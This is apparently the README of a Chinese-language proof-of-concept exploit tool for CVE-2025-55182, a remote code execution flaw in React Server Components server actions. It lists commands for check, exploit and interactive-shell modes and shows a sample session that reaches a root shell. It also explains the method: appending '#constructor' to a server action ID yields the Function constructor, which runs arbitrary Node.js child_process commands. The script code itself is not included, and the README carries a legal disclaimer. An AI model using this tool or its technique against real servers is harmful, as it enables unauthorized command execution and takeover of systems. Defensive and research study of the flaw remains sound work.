CVE-2025-55182 的 PoC
Usage: python3 poc.py -u http://target.com --cmd "<cmd_here>"
本工具仅用于教育目的和授权安全测试。未经双方事先同意,使用本工具攻击目标属于违法行为。开发者不承担任何责任,亦不对因使用本程序造成的任何滥用或损害负责。
pip install requests
你可以通过三种模式运行该工具:Check(检测)、Exploit(利用)或 Interactive Shell(交互式 Shell)。
usage: poc.py [-h] [-u URL] [--id ID] [-c CMD] [--check]
options:
-h, --help show this help message and exit
-u URL Target URL (e.g., http://localhost:3000)
--id ID Target Server Action ID (default: user-profile-action)
-c CMD, --cmd CMD Command to execute directly (non-interactive mode)
--check Only check for vulnerability (Crash Method), do not exploit
python3 poc.py -u http://target-site.com --check
python3 poc.py -u http://target-site.com --cmd "id"
python3 poc.py
# Inside the shell
RSC-Shell> set url http://localhost:3000
[+] URL set to: http://localhost:3000
RSC-Shell> check
[+] TARGET IS VULNERABLE!
RSC-Shell> shell
[*] Starting pseudo-interactive shell. Use 'exit' to return.
cmd> whoami
root
Check 模式:发送一个 multipart 请求,在索引 1 处定义 {},并尝试访问 ["$1🅰️a"]。未修补的服务器在尝试访问 undefined 的属性 a 时会崩溃(HTTP 500)。已修补的服务器返回 HTTP 200。
Exploit 模式:发送一个引用有效 Action ID 的 multipart 请求,但附加 #constructor。这会诱使序列化器返回 Function 构造函数,从而允许我们传入任意 JavaScript(Node.js child_process)在服务器上执行。